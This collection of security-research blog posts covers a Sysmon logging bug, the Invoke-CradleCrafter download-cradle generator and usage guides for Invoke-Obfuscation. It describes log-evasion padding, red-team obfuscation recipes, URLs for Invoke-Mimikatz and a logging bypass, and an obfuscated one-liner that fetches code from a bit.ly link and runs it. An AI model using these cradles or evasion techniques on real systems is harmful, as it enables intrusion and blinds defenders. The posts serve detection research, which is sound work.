Test Your DFIR Tools: Sysmon Edition

As a defender I am continuously testing, tuning and re-testing a plethora of detection ideas across many complementary detection frameworks. However, a skilled DFIR practitioner values the confidence gained from cross-validating one tool's results with those produced by similar tools. Over the past nine months I have spent significant time researching new obfuscation and evasion techniques, and a good portion of this time I have spent validating the effects of these techniques on numerous detection artifacts and tool sets. This blog post highlights a bug I found in Sysmon's event logging that contaminates process command line argument logging and adversely affects at least two different tools used for viewing Windows event logs.

First of all, I have been a fan of using Sysmon in my personal testing lab setup since its original release in 2014. Sysmon (System Monitor) is part of Microsoft's Sysinternals Suite and was written by Mark Russinovich (@markrussinovich) -- thanks, Mark! The Sysmon driver installs as a service and logs numerous Windows events to the Microsoft-Windows-Sysmon/Operational event log. Most recently updated on January 5, 2018, v7.01 supports twenty-two different Event IDs ranging from process execution events (EID 1 & 5), network connection events (EID 3), image load events (EID 7), named pipe events (EID 17 & 18), WMI events (EID 19, 20 & 21), all the way to registry events and much more!

Over the years there have been numerous blog posts written on using Sysmon as a data collection source for endpoint visibility and threat hunting. In addition, Sysmon configurations such as @SwiftOnSecurity's sysmon-config project (https://github.com/SwiftOnSecurity/sysmon-config) have popularized the filtering capabilities that Sysmon supports for data collection tuning. Finally, Microsoft recently published the Sysinternals Sysmon Suspicious Activity Guide (https://blogs.technet.microsoft.com/motiba/2017/12/07/sysinternals-sysmon-suspicious-activity-guide/) which serves as an even better overview than what I am attempting to convey here.

At the end of the day, an increasing number of defenders rely on Sysmon for some level of endpoint visibility and it is worth cross-comparing Sysmon as a data source with similar but officially supported (by Microsoft) data sources before one begins or continues investing detection logic applied to data logged and collected from Sysmon. In particular, it is encouraged to test both the data source and the tooling used to query, aggregate and analyze the data source in question.

Let's begin!

Take the following example that sets a command in an environment variable envVar and then executes the contents of that environment variable in a child process:

cmd.exe /c "set envVar=echo TESTING&&cmd.exe /c %envVar%"

When viewing this Sysmon EID 1 event in EventVwr.exe you will notice the CommandLine field has replaced the single percent signs with duplicate percent signs:

I initially found this strange but did not think much of it until I started reviewing logs for payloads that used randomly-named environment variables, particularly variable names beginning with an integer like the following (simply replacing envVar with 1337 for the environment variable name):

cmd.exe /c "set 1337=echo TESTING&&cmd.exe /c %1337%"

The result of this command in EventVwr.exe was surprising to say the least:

There seems to be an escaping bug with percent signs in Sysmon EID 1's CommandLine field that is rendering incorrect data when viewed with EventVwr.exe.

The next step I took was to validate this data source with another tool, so I naturally turned to PowerShell and its Get-WinEvent cmdlet and queried this Sysmon event. It too returned the same incorrect value.

I then started testing cmd.exe /c "echo %1", cmd.exe /c "echo %2", cmd.exe /c "echo %3", etc. to see what additional values were returned in the rendered events. Sometimes the values correlated to the n'th value in the remainder of the event log (i.e. %2 --> ProcessGuid, %3 --> ProcessId, etc.), but other times the values were seemingly random system messages.

Recalling cmd.exe's command line argument limit of 8,191 characters I then wondered: Does the CommandLine field in the Sysmon event log enforce this same character limit?

To test this I executed the following test command using cmd.exe's || operator which is the opposite of && in that it only runs the remainder of the command if the previous command FAILS, so it is a convenient way to append garbage text to a command that should never actually execute:

cmd.exe /c "echo PUT_EVIL_COMMANDS_HERE||%1"

Below you can see the incorrect CommandLine value rendered by EventVwr.exe and PowerShell's Get-WinEvent cmdlet:

So this user-controlled input of "%1" (2 characters) produces as output in the event log "Incorrect function." (19 characters). So running fifty instances of "%1" (cmd.exe /c "echo PUT_EVIL_COMMANDS_HERE||%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1") produces:

Taking this just a few steps further from 50 to 85 instances of "%1" seems to do the trick, rendering different jibberish upon each viewing of the given Sysmon EID 1 event via EventVwr.exe, sometimes even displaying a "complete" log from another event log source (like a PowerShell EID 800 event):

When querying these events with PowerShell's Get-WinEvent we get the following error for each individual event with this level of padding (i.e. not returning any event information for these affected events but properly returning all "normal" events with their respective event data):

These results hold true on Windows 7 through Windows 10, as well as PowerShell versions 2 through 5.

However, continuing this validation testing I found other tools that parse .evt/.evtx files that correctly render these percent + integer padding values. For example, Microsoft's Log Parser and FireEye's Redline forensic analysis tools (both free!) are not duped by Sysmon's lack of proper escaping for the CommandLine field but properly render the correct value of "%1", "%1337", etc.

So what's the point? Well, an attacker can effective bury/hide a malicious process execution events in Sysmon EID 1 by padding enough percent + integer strings onto the command if the defender is using an affected analysis tool like EventVwr.exe or PowerShell's Get-WinEvent to query the events.

If you as a defender rely on EventVwr.exe or PowerShell's Get-WinEvent cmdlets to query Sysmon EID 1 events as your source of process execution events then you will want to handle these exceptions (try/catch block will be your friend in the PowerShell scenario) and parse the data with an unaffected tool when these exceptions arise. Alternatively, process command line arguments can be obtained through the officially supported Security event log's EID 4688.

Additionally, after testing your tool set to ensure it is not affected, looking for high counts of these bogus percent + integer values becomes an interesting signal for potential evasion attempts.

In conclusion: Do I still think Sysmon is really awesome? Yes, you bet! Would I make it my sole source of process execution event visibility? No, I would use Security EID 4688 or another officially supported mechanism for capturing command line arguments in real-time. But if I had to use Sysmon EID 1 until I migrated to something else (or until this bug is fixed) then I would test the tools I use to query these logs to ensure they properly parse Sysmon's unescaped percent characters so I do not miss events or write detection rules based off of this improper escaping.

As responsible defenders let's keep testing, tuning, validating, re-validating and breaking assumptions as we continually refine our detection capabilities and gain well-founded confidence in the tools we use to accomplish our goals.

NOTE: I first came across this bug in September 2016 during my PowerShell obfuscation research while testing output from the Invoke-Obfuscation framework's cmd.exe LAUNCHER option. Before releasing Invoke-Obfuscation I modified this LAUNCHER option to not accidentally reproduce this issue so its discovery might be prolonged while the Sysmon bug was serviced. I reported this bug to the appropriate team at Microsoft in September 2016 and once again in June 2017. I received confirmation for both email notifications regarding this escaping bug within Sysmon. A year and a half later the latest version (v7.01) still contains this bug. After encountering it in three separate research phases over this time period, I found it to be a simple but compelling example that should spur us as defenders to test our data collection and analysis tools before we begin relying on them for detection purposes. And we should continue to share relevant findings with the tool author(s)/owner(s) so they can be improved for the DFIR community that relies on these tools.

The Invoke-CradleCrafter Overview

Invoke-CradleCrafter is a remote download cradle generator and obfuscation framework that was originally born out of a handful of obfuscation techniques I presented in my initial PowerShell obfuscation research but did not include in the Invoke-Obfuscation framework for numerous design decisions. However, outside of a single invocation function the two projects do not share any overlapping obfuscation techniques and differ quite dramatically in form and function.

That being said, there remains a bit of confusion around these distinctions and the numerous features and design decisions that drove the development of Invoke-CradleCrafter. In this post I will highlight these design decisions, the differences between the two frameworks, and the unique role for which I built Invoke-CradleCrafter for both Red and Blue Team purposes.

Released in April 2017, Invoke-CradleCrafter started as a notebook containing obscure syntaxes to remotely download and execute code aside from the most common syntax: IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/L3g1t'). These examples included techniques as impractical as using SendKeys to automate payload downloads via notepad.exe all the way to more practical examples like COM interactions with Internet Explorer -- both means of pawning off the network connection for the download onto a native binary that is not the originating powershell.exe process.

This list also included numerous cradles relying on cmdlets introduced in PowerShell 3.0 (Invoke-WebRequest/IWR/CURL/WGET and Invoke-RestMethod/IRM) which at the time I had only seen used in the wild once or twice. While most attackers prefer to use (and re-use) tradecraft that is PowerShell 2.0+ compatible, these v3.0 cmdlets have a distinct advantage of being compatible in Constrained Language Mode (CLM) -- an advantage the v2.0 .Net-centric cmdlets do not have.

After realizing this list of cradles was long enough to consider building it out into something more user-friendly, I stumbled onto Will Schroeder's (@harmj0y) DownloadCradles.ps1 which contained several of the cradles in my list. This got me thinking about some of the ways I wanted to build out what would become Invoke-CradleCrafter to allow for Red and Blue to easily explore these and many more PowerShell download cradles while having a fully automatable tool that could be used to generate thousands of unique cradle examples for defenders to build into a corpus to use for building and tuning detections.

The design decisions that drove Invoke-CradleCrafter's development are as follows:

  1. I wanted an interactive framework that would be a "living library" of obscure PowerShell download cradles. From a user's perspective, I wanted a tool that would only require (at a minimum) the user to enter a remote URI where a payload is hosted and then be able to "plug" that URI into each cradle type and see what each cradle would look like. It was important to me to compile these obscure cradles into a single place to improve my own detections against the lesser known cradles especially when no obvious obfuscation is in play.
  2. During my time as an incident responder I have learned from my colleagues about numerous forensic artifacts and behavioral anomalies that I frequently go to when building detections for new techniques found throughout the course of research. Recognizing that the scale and scope of this exposure is rather unique, I wanted to share many of these behaviors and artifacts to provide helpful context for both Red and Blue Teamers surrounding each cradle, like compatibility, characterisitics, footprint on disk, behaviors, artifacts, etc. This design requirement was built in from the beginning to help educate users about the opportunities both to evade and more importantly to detect each of these cradle types at the behavioral level instead of (or in addition to) the syntax level. An example is shown below of the contextual information provided for the most common Net.WebClient DownloadString method cradle including helpful image load indicators (rasman.dll and rasapi32.dll) as well as artifacts where these indicators can be found on disk (PowerShell prefetch file and Tracing registry keys). In this case image load events could also be found in EID 7 events if Sysmon is installed. A more verbose example of this contextual information can be found for cradles that compile inline CSharp code as they produce additional CSharp artifacts on disk (.cs and .cmdline temporary files) and in registry (binary immediate ordering in AppCompat Cache) related to the compilation and execution of CSharp code via csc.exe and cvtres.exe. Finally, several of the cradles I included involve PowerShell leveraging additional native Windows binaries to perform network connections on its behalf, such as svchost.exe, bitsadmin.exe, iexplore.exe, winword.exe, excel.exe, and starting today in a new addition to the framework -- CERTUTIL.EXE for both Memory- and Disk-based cradles (bringing the total unique cradle count in this project up to legal limit of 21)! In addition to simple binary renaming attacks, it is important to eduate the defensive community about additional native binaries that can be easily used by PowerShell (and even standalone) to download content so that defenders do not overfocus detection efforts solely on powershell.exe making network connections.
  3. I wanted an outlet for automating and exploring several categories of obfuscation that were not feasible to include in Invoke-Obfuscation. This served to tremendously challenge and ultimately improve my current detection techniques for obfuscated PowerShell code in general as this framework allowed me to easily generate thousands of unique cradles as I added each obfuscation option to the tool. The obfuscation options used in Invoke-Obfuscation are slightly limited in that they had to work for any arbitrary input command or script. What that means is that Invoke-Obfuscation only obfuscates based on the command/script as whole (in the case of STRING and ENCODING obfuscation options) or on each given TOKEN of the payload and only in syntactical ways of representing that exact token. Since Invoke-CradleCrafter does NOT take arbitrary PowerShell commands or scripts but rather a few pieces of information -- URL, PostCradleCommand (optional), and Path (optional, only for disk-based cradles) -- it enabled me to completely control the overall context of each cradle syntax and its numerous components. This allowed me to build out four different categories of obfuscation, something that was not feasible in Invoke-Obfuscation: Method Substitution (i.e. .DownloadString vs .DownloadData), Spatial Obfuscation (the ordering/arrangement of the overall command), Substitution Obfuscation (for cmdlets, methods, arguments, properties, booleans, etc.), and Invocation Obfuscation (11+ ways to invoke downloaded code).
  4. Method Substitution -- The most basic example of this is the DownloadString method used in the most common download cradle. This is only one of the many methods found in the Net.WebClient .Net class. This particular method is likely the most commonly used by attackers since it returns the downloaded resource as a string residing in memory as opposed to the DownloadFile method which downloads the remote resource to disk. However, other methods in this class can also download payloads to memory in different formats like DownloadData (byte array) and OpenRead (byte stream). It was not feasible to have Invoke-Obfuscation substitute DownloadString with these methods as additional wrapper commands must be added to convert the byte array or byte stream into a string to produce the original payload. However, in Invoke-CradleCrafter I list each of these methods as separate cradles and the additional conversion logic is automatically added where necessary for each cradle. No more needing to remember all the different ways to convert byte streams into a string -- Invoke-CradleCrafter handles all of that for me :)
  5. Spatial Obfuscation -- An additional contextual opportunity that I baked into Invoke-CradleCrafter is that of spatial obfuscation. Basically, attackers often use consistent one-liner PowerShell cradles. But there is nothing stopping one from chopping up the components of the cradle into smaller pieces and storing them into variables and swapping the order of these components where compatible. All of this and much more takes place in several layers of randomization in the REARRANGE options available in each cradle type. Higher levels of obfuscation include not only crazier orderings of sub-commands, but also randomly-named variables as well as more obscure cmdlets to set and get variable values. Obfuscation levels 2 and 3 can differ significantly as you can see in this level 2 rearrangement (MEMORY\PSWEBSTRING\REARRANGE\2)... ...versus this level 3 rearrangement (MEMORY\PSWEBSTRING\REARRANGE\3):
  6. Substitution Obfuscation -- One of my favorite obfuscation techniques in Invoke-CradleCrafter is substitution obfuscation. Now some of this obfuscation could have been added into Invoke-Obfuscation, but there would have been numerous fringe cases to handle. Fearing it would adversely affect the reliability of Invoke-Obfuscation, I left these techniques as extra pages in my research notebook until I started developing Invoke-CradleCrafter. Even though this substitution obfuscation applies primarily to cmdlets, methods and arguments in this framework, for a simple example let's look at the DownloadString method one more time. In Invoke-Obfuscation this could be obfuscated with tick marks "Do`Wn`load`Stri`Ng", concatenation ('Down'+'load'+'String'), or reordering ("{1}{0}{2}"-f'load','Down','String'). In Invoke-CradleCrafter we can produce the string "DownloadString" via enumeration of the methods found in an instantiation of the Net.WebClient object. So if we set this object like $wc=(New-Object Net.WebClient) then we can enumerate all methods using either .PsObject.Methods or piping the object into Get-Member. If we choose the first option of .PsObject.Methods then "DownloadString" can be produced (manually) like ($wc.PsObject.Methods | where-object { $_.Value.Name -like 'DownloadString' }).Name. Invoke-CradleCrafter will add random obfuscation to each component of the above command to produce something more like (((($wc).PsObject.Methods)|?{(Item Variable:_).Value.Name-clike'D*g'}).Name) where 'D*g' will match and return the string "DownloadString" and no other method. All of the elements involved in this syntax are randomly selected for each iteration along with the wildcard strings to search and find the desired method name. Cmdlet obfuscation relies on wildcard strings to return the desired cmdlet object using a form of the Get-Command cmdlet (.(GCM N*ct)) or PowerShell 1.0 syntax using the $ExecutionContext automatic variable (&$ExecutionContext.(($ExecutionContext|Member)[6].Name).GetCmdlets('N*ct')). There are numerous nuanced layers for each of these substitution types, so the best way to explore these options is just to run the tool and see for yourself!
  7. Invocation Obfuscation -- Invoke-Obfuscation semi-dabbled in invocation obfsucation in its use of basic concatenation of 'iex' to invoke the common alias of the Invoke-Expression cmdlet. In Invoke-CradleCrafter I fully built out this concatenation obfuscation for IEX and added some new data sources like enumerating string methods: .( ([String]''.Insert)[14,10,27]-Join''). In addition, Invoke-CradleCrafter contains 11+ ways to invoke downloaded code using Get-Alias, Get-Command, numerous PowerShell 1.0 options, script block conversions and the .Invoke method, PSRunspace creation and invocation, PowerShell 3.0's Invoke-AsWorkflow cmdlet, and dot-sourcing and Import-Module for disk-based cradles.
  8. Precision of obfuscation was a HUGE design decision throughout the development of Invoke-CradleCrafter. When using Invoke-Obfuscation so much of the obfuscation is randomized behind the scenes. So even when I know that a particular obfuscation pattern is possible in Invoke-Obfuscation I have to run,undo,rerun again and again until that obfuscation syntax emerges. In Invoke-CradleCrafter I wanted to be able to pinpoint each obfuscation iteration so that I could more easily iterate through the obfuscation syntaxes of each component one at a time instead of all of them mixed together (i.e. obfuscating one method at a time versus ALL methods at once as in Invoke-Obfuscation). For larger cradles like PsComIE (PowerShell + COM object for Internet Explorer) you can see that there are numerous cmdlets, properties and even boolean values that can be obfuscated one at a time (or all together using the ALL option).
  9. Finally, as you may have noticed in the previous screenshots in order to see what parts of the command have changed upon the application of each obfuscation option I used color coding. Each changed portion of the command is yellow while the user-input portions of the command (URL, and optional PostCradleCommand and Path) remain blue so one can easily see what portions of the command are input directly by the user. I spent insanely too much time on the tagging required to make this color-coding function properly, but it was worth it in my opinion to help visualize the portions of the command changing before your eyes as various obfsucation levels and syntaxes are substituted into the original command at each stage of obfuscation. This color-coding feature easily makes Invoke-CradleCrafter my favorite personal development project so far in terms of visualization.

And for the users who have complained to me that Invoke-CradleCrafter is not useful since the URL in the final payload is still not obfuscated, my reply is that Invoke-CradleCrafter was never intended to replace the obfuscation found in Invoke-Obfuscation. Invoke-CradleCrafter supports the exact same CLI functionality that Invoke-Obfsucation does, so when I use Invoke-CradleCrafter I often just pipe the result directly into Invoke-Obfuscation and chain the two projects and corresponding results together. In addition, Invoke-CradleCrafter only ever produces PowerShell code, so if you want to add a launcher then I recommend piping the result into Invoke-Obfuscation to apply the desired launcher.

Hopefully this overview was helpful if you have never used Invoke-CradleCrafter before or if you had questions about what gap it was intended to fill in light of Invoke-Obfuscation. And for my fellow defenders out there, using the CLI and RegEx functionality with command chaining found in both Invoke-Obfuscation and Invoke-CradleCrafter makes the task of producing thousands of randomly obfuscated examples for detection development insanely simple. This is exactly what Lee Holmes (@Lee_Holmes) and I did when producing obfuscated samples for the PowerShell corpus we assembled for the Revoke-Obfuscation research. In April 2018 I will be sharing more of my methodology around this kind of enumeration for developing and tuning detections so stay tuned!

To download a one-page cheat sheet of my favorite Invoke-CradleCrafter "recipes" then you can run the following obfuscated PowerShell command: gdr -*;Set-Variable 5 (&(Get-Item Variable:/E*t).Value.InvokeCommand.(((Get-Item Variable:/E*t).Value.InvokeCommand|Get-Member|?{(DIR Variable:/_).Value.Name-ilike'*ts'}).Name).Invoke('*w-*ct')Net.WebClient);Set-Variable S 'http://bit.ly/e0Mw9w'; (Get-Item Variable:/E*t).Value.InvokeCommand.InvokeScript((GCI Variable:5).Value.((((GCI Variable:5).Value|Get-Member)|?{(DIR Variable:/_).Value.Name-ilike'*wn*g'}).Name).Invoke((GV S -ValueO)))

Happy (responsible) obfuscating!

The Invoke-Obfuscation Usage Guide :: Part 2

In the last blog post I outlined many of the lesser-known components of Invoke-Obfuscation, many of which I added in the weeks and months following the initial release. Several of these additions introduced more randomization and obfuscation, but more importantly provided more visibility into the obfuscation syntax itself. This visibility fundamentally changed the way that I use Invoke-Obfuscation, which is the subject of this post.

As a defender I spend a lot of time removing "noise" from large data sets to find suspicious activity. When I think about using obfuscation to evade assumed defenses I typically decide between insanely obfuscated versus just enough obfuscation to break whatever detection rules I think might be in effect, typically trying to blend in with the noise with which I and likely the target's defensive resources, both human and product, are all too familiar.
When stealth is top priority then I often use Invoke-Obfuscation to take my payload to a certain point, but then obfuscate by hand the rest of the way. The con to this is that it takes a lot of time and precision. The pro (depending on how you look at it) is that many organizations are still running PowerShell version 2 or 3 and do not have script block logging enabled, so often this manual obfuscation is not necessary. However, when an organization has their ducks in a row then it forces me to think a lot more intentionally about what I am changing and what defense I am attempting to evade with each change.
So here are the main points that I consider when using Invoke-Obfuscation for both commands and scripts:

  1. If you want obfuscation to persist into PowerShell script block logs (EID 4104) then token-layer obfuscation is a must. Token obfuscation (TOKEN\ALL\1) is almost always the first option that I apply to any command or script. For smaller commands I typically obfuscate one token type at a time until it produces the obfuscation syntax that I like (like SV instead of Set-Variable for TYPE obfuscation). I will also run TOKEN\MEMBER\2 after MEMBER obfuscation since for options 3 and 4 a .Invoke() is added to maintain compatibility with PowerShell version 2.0 as this is not necessary in PowerShell version 3.0+. You can see this .Invoke() syntax for these two options in the MEMBER obfuscation menu:
  2. In version 1.6 (2017-01-24) I removed WHITESPACE token obfuscation from being applied for TOKEN\ALL\1 since it adds to the already significant time overhead when obfuscating large scripts. However, I usually apply whitespace obfuscation to large scripts anyways just because I'd hate to see all the work for the function go to waste :). But in all seriousness, I do tend to apply 2-3 rounds of TOKEN\WHITESPACE\1 to almost every command the I obfuscate. Too much whitespace, however, becomes a good indicator for defenders so that is something to keep in mind, and as defenders we should not rely on randomized whitespace being applied. As I stated in the beginning of this post, if I am not going full-blown obfuscation then I almost never add any unnecessary whitespace so as to avoid standing out.
  3. After applying token-layer obfuscation I typically either choose a custom LAUNCHER not in the public release that avoids the PowerShell command ever hitting any command line arguments (typically via environment variables, standard input, WMI, or some disk-based options), or I add STRING and or ENCODING obfuscation to clean up all the crazy special characters that TOKEN obfuscation introduces. If my payload is a command under 2000 characters then I usually opt for an ENCODING option since these cause argument bloat more than the STRING options. Otherwise I opt for STRING obfuscation for scripts since usually script length is not a concern in regards to cmd.exe's command length limit. This is definitely APT32's favorite combination -- TOKEN plus a lot of STRING obfuscation.
  4. Going back to ENCODING, it is helpful to know which ENCODING options produce the most and least command bloat. The below table shows the average length over 1000 iterations of a 100-character command run through each ENCODING option: So for the least command bloat I typically use ENCODING\[1236]. Using this as a starting point, remember that you can repeatedly run UNDO,ENCODING\*,SHOW OPTIONS until you get get an encoding payload that is in the size range that you are targeting (SHOW OPTIONS shows the size of the obfuscated command).
  5. In several recent scenarios I found myself battling command length limits as well as the need to convert a multi-line script into a one-liner command. STRING obfuscation does not help in this situation as it maintains new-lines. So despite its command bloat ENCODING obfuscation has remained the best option for converting a multi-line script into a one-liner command...until now! In conjunction with this blog post I am releasing a COMPRESS option to Invoke-Obfuscation via a new function Out-CompressedCommand.ps1. The core of this function is a heavy copy/paste from Matt Graeber's (@mattifestation) Out-EncodedCommand.ps1 minus the -EncodedCommand syntax and adding a few dashes of obfuscation to the decoding and decompression components. This addition is quite helpful in reducing the command size after TOKEN obfuscation and before adding a final layer of STRING or ENCODING obfuscation, like this recipe: TOKEN\ALL\1,BACK,MEMBER\1,BACK,WHITESPACE\1,1,1,COMPRESS\1,HOME,(ENCODING|STRING)\*. An example compressed command is shown below:
  6. The last piece of the obfuscation puzzle is how to launch the obfuscated command. If I am launching the command from a macro, HTA, SCT, scriptlet file, etc. then I almost never use any LAUNCHER found in the public version of Invoke-Obfuscation. Instead, as I said earlier, I craft a launching solution that will keep the PowerShell command off of any process command line arguments (usually with process-level environment variables or standard input via WScript.Shell's .StdIn.WriteLine as in this sample tweeted from @JohnLaTwC). However, where Invoke-Obfuscation's LAUNCHER options are helpful are in creating payloads for persistence (registry, WMI, etc.) or lateral movement (scheduled task, service, WMI again, etc.). Some Red Teamers have found LAUNCHER\WMIC useful for lateral movement when using Cobalt Strike's wmic command as they can simply add in the /node: and /user: fields to the result from Invoke-Obfuscation.
  7. The final artifact that I use when choosing a LAUNCHER is the Process Argument Tree displayed after the application of a LAUNCHER. I primarily added this view for defenders, but as a Red Teamer it is extremely helpful in choosing a LAUNCHER that abstracts the PowerShell command into a different process or even breaks the parent/child process relationship altogether (WMIC). More importantly, I often apply, undo and re-apply LAUNCHERS 5-10 times until it produces a satisfactory obfuscated syntax for the final powershell.exe invocation. Since there are sooooo many randomizations in Invoke-Obfuscation some of my favorite syntaxes only surface every 10+ invocations, thus my repeated use of command chaining paired with UNDO until I get just the right syntax. For example, after applying LAUNCHER\STDIN++\234... ...I might keep running UNDO,LAUNCHER\STDIN++\234 until it produces a less common invocation syntax for the final powershell.exe process as well as no space between the parent cmd.exe's /C argument and the rest of the command stored in the process-level environment variable %jvh% like this:

That wraps up this usage guide for the current iteration of Invoke-Obfuscation. As always, please obfuscate legally, responsibly and only with express written consent from the owner of the system(s) on which you are running code.

In addition, I encourage Red Teamers using this tool to develop detection recommendations for their clients. Developing detections helps clients and can improve the Red Team's TTPs as it often leads to more elusive and creative attack and obfuscation ideas going forward. Red Teamers can be successful while also helping improve the target's defensive understanding and posture, and these iterative steps will naturally raise the bar for Red and Blue alike. That has been and remains the objective of this research and framework, and I hope that users will support that objective.

Happy obfuscating!

The Invoke-Obfuscation Usage Guide :: Part 1

It has been just over a year since I released Invoke-Obfuscation and it has led to an exciting year of sharing this obfuscation, evasion and detection research with anybody who will listen. It has been fascinating to see how Red Teamers, commodity malware authors and advanced threat actors like APT32 have used this framework in their various campaigns. Most satisfying, though, is detecting this obfuscation in the wild and talking with other defenders who have used Invoke-Obfuscation to build out and refine their own detection techniques for catching obfuscated PowerShell.

From time to time I myself am tasked to assist a Red Team engagement by crafting custom, obfuscated PowerShell payloads using Invoke-Obfuscation. When this happens I often get questions about why I chose certain obfuscation options or was so particular about applying a certain ordering of options to the payload. I also realized that there are several lesser-known components of Invoke-Obfuscation that I have not drawn attention to in any one place...until now.

This series of posts is intended to inform users about several lesser-known features in Invoke-Obfuscation as well as the HOW and WHY behind my thinking about obfuscating commands and scripts with Invoke-Obfuscation. And it all begins with a brief timeline of updates to the framework (which are listed in the project's README file under "Release Notes") and why I added them.

PART A :: Timeline of Invoke-Obfuscation's Evolution

I released Invoke-Obfuscation on 2016-09-25 at DerbyCon 6 (video). At the time it included concatenation obfuscation for TOKEN obfuscation, five ENCODING options and six LAUNCHER options. Two weeks later I added -f format operator reordering obfuscation for all applicable TOKEN options (check out this post for the reasoning behind this addition), and over the next month I added one ENCODING option and two more LAUNCHER options.

On 2017-01-24 I released version v1.6 by adding command option chaining, enabling full regular expression usage in command options, adding an UNDO command (easily my favorite addition to the framework!), and providing full framework interaction via CLI (mainly from chronic begging of several Red Teamers, but joke's on them because this feature made defenders' test harness payload generation 100 times simpler). Since then I added four more LAUNCHERS and two more ENCODING options, in addition to numerous bug fixes -- mostly thanks to Ryan Cobb (@cobbr_io) who is now an official maintainer of the project.

PART B :: Lesser-Known Features of Invoke-Obfuscation

Numerous times I have had people tweet or DM me thanking me for adding a "new feature" to Invoke-Obfuscation. In reality many were present from version 1.0, but a few have been added since the framework's inception.

Here is a list of Invoke-Obfuscation functions that hopefully others will find interesting and helpful in their ethical, legal and approved-with-express-written-consent usage of obfuscation:

  1. Invoke-Obfuscation can obfuscate PowerShell commands AND scripts. More than a few Red Teamers have pinged me thanking me for adding script obfuscation to the latest version of the framework. Yes, it has been present since the very beginning, but who am I to rain on their new discovery? Godspeed!
  2. SET SCRIPTPATH will also accept a URL to a PowerShell command or script so you can obfuscate the latest version of whatever remotely-hosted script you want, like Invoke-Mimikatz (SET SCRIPTPATH https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1) or the latest PowerShell logging bypass from @Lee_Homes: (SET SCRIPTPATH http://bit.ly/e0Mw9w). This feature is outlined in the framework's tutorial which can be viewed by running TUTORIAL: When a URL is entered as the ScriptPath value then the URL will be displayed in the ScriptPath field and the ScriptBlock field will show the downloaded command or script content.
  3. On the topic of input options, you can enter a ScriptBlock value containing basic EncodedCommand syntax (like that produced as one-liners from popular frameworks like Empire and Cobalt Strike) and Invoke-Obfuscation will extract and decode the encoded command and set the decoded payload as the ScriptBlock. For example:
  4. UNDO -- this is BY FAR my favorite addition to the framework. There is nothing more frustrating than walking through 10 obfuscation steps in a precise order only to have the very last obfuscation option bump the command over the 8,191 character limit for the command line. Now you can just enter UNDO as many times as you need to keep applying that obfuscation until it produces a result within the desired command length range.
  5. In version 1.6 (2017-01-24) I added the Process Argument Tree display whenever a LAUNCHER option is applied. This is particularly helpful for defenders to see additional detection opportunities outside of the final powershell.exe process execution. However, it is equally important for a Red Teamer to know what data is hitting the command line and in which process argument fields, as this should dictate heavily which LAUNCHER option is used (if any is used at all depending on what one is trying to evade). Below is an example of LAUNCHER\STDIN++\234:
  6. Another addition in version 1.6 was introducing CLI to enable non-interactive usage of the framework without needing to call all of the exposed underlying functions (the original intent behind exposing the ExecutionCommands values in the SHOW OPTIONS menu). This CLI addition also included numerous additions for both interactive and non-interactive usage of Invoke-Obfuscation. One feature included in the CLI update is Invoke-Obfuscation's support of full-blown RegEx in obfuscation option commands, like ENCODING\* or LAUNCHER\.*[+]{2} which greatly simplified and removed the need to update my testing harness after adding new obfuscation options to the framework.
  7. The CLI update also added auto-HOME/auto-MAIN functionality for command options. This means that if you are in TOKEN\ALL and want to add a random LAUNCHER, you do not have to first enter HOME or MAIN or repeatedly enter BACK until you arrive at the main menu. Instead, from any menu you can run LAUNCHER or LAUNCHER\*\234 and it will automatically route you to that menu. The ONLY exception to this is if you are in TOKEN and enter STRING then it will take you to TOKEN\STRING instead of the home menu's STRING. Joke's on me for not keeping all of the menu options unique.
  8. Lastly, CLI introduced command chaining in both interactive and non-interactive usage. When I am obfuscating payloads I RARELY use TOKEN\ALL\1 but instead obfuscate on particular tokens and in very particular orderings and layerings. With command chaining I can save off these "recipes" and share them with other Red Teamers trying to accomplish the same obfuscation goals. I will cover the particulars of this command chaining ordering in the next blog post, so for now let's focus on the chaining functionality regardless of what options or orderings are used. For non-interactive/CLI usage this chaining looks like: Invoke-Obfuscation -ScriptBlock {Write-Host 'CLI FTW!'} -Command 'Token\All\1,Encoding\1,Launcher\Stdin++\234,Clip' -Quiet -NoExit. However, my favorite use case for command chaining (after using it to store off obfuscation "recipes") is for undoing and re-applying obfuscation options until a certain command length is produced or a desired obfuscation syntax is applied (more on this last point in the next blog post in this series). So if I have a long PowerShell command to which I've already applied TOKEN\ALL\1 and I want to apply an ENCODING option but the result exceeds 8,191 characters (and I do not know which ENCODING options create the least command length bloat), then command chaining is a life saver. After applying TOKEN\ALL\1,ENCODING\* then I can keep running UNDO,* or UNDO,ENCODING\1 until it produces a result that is less than 8,191 characters in length.

NOTE: If running Invoke-Obfuscation on PowerShell for Linux or OS X then the back slashes might not be interpreted correctly, so change all back slashes to commas in above command chaining examples.

This wraps up Part 1 of this series on Invoke-Obfuscation usage. Hopefully you found some of the framework's history and lesser-known functionalities interesting. In the next post I will cover how I approach using Invoke-Obfuscation in various situations including obfuscation ordering, command option chaining for coaxing out particular obfuscation options, when (and how often) I use token-layer obfuscation options, and when I use (and more importantly do not use) LAUNCHER obfuscation. Stay tuned!

PowerShell Execution Argument Obfuscation (& How It Can Make Detection Easier!)

When I started researching PowerShell obfuscation and evasion techniques 1.5 years ago I became frustrated when I found out that many A/V vendors and other detection frameworks and services were writing signatures for specific PowerShell attack frameworks based solely off of PowerShell execution arguments like:

  • -nop -exec bypass -win Hidden -noni -enc
  • -ep bypass -noni -w hidden -enc

Fun Fact: In these examples setting -ExecutionPolicy/-ep is redundant since -EncodedCommand/-enc automatically bypasses the execution policy, which is NOT a security boundary!

Some offensive PowerShell frameworks (which won't be explicitly named here) have even kindly left some nice features to write basic signatures off of, like the extra whitespace between -nop and -win in:

-nop  -win hidden -noni -enc

However, we as defenders should not become complacent and grow satisfied with only catching attackers that do not modify source code before running the tools they download from Github.

The reason is that good attackers do not remain complacent. If you look at the Github history for Unicorn, an awesome tool from Dave Kennedy (@HackingDave), then you will see that he has changed the syntax of the tool's execution arguments several times as defenders have updated their signatures. He's even left some nice alternate evasion syntaxes in comments for those who actually peruse source code before running tools written by Mr. ReL1K himself: https://github.com/trustedsec/unicorn/blob/master/unicorn.py#L493-L495

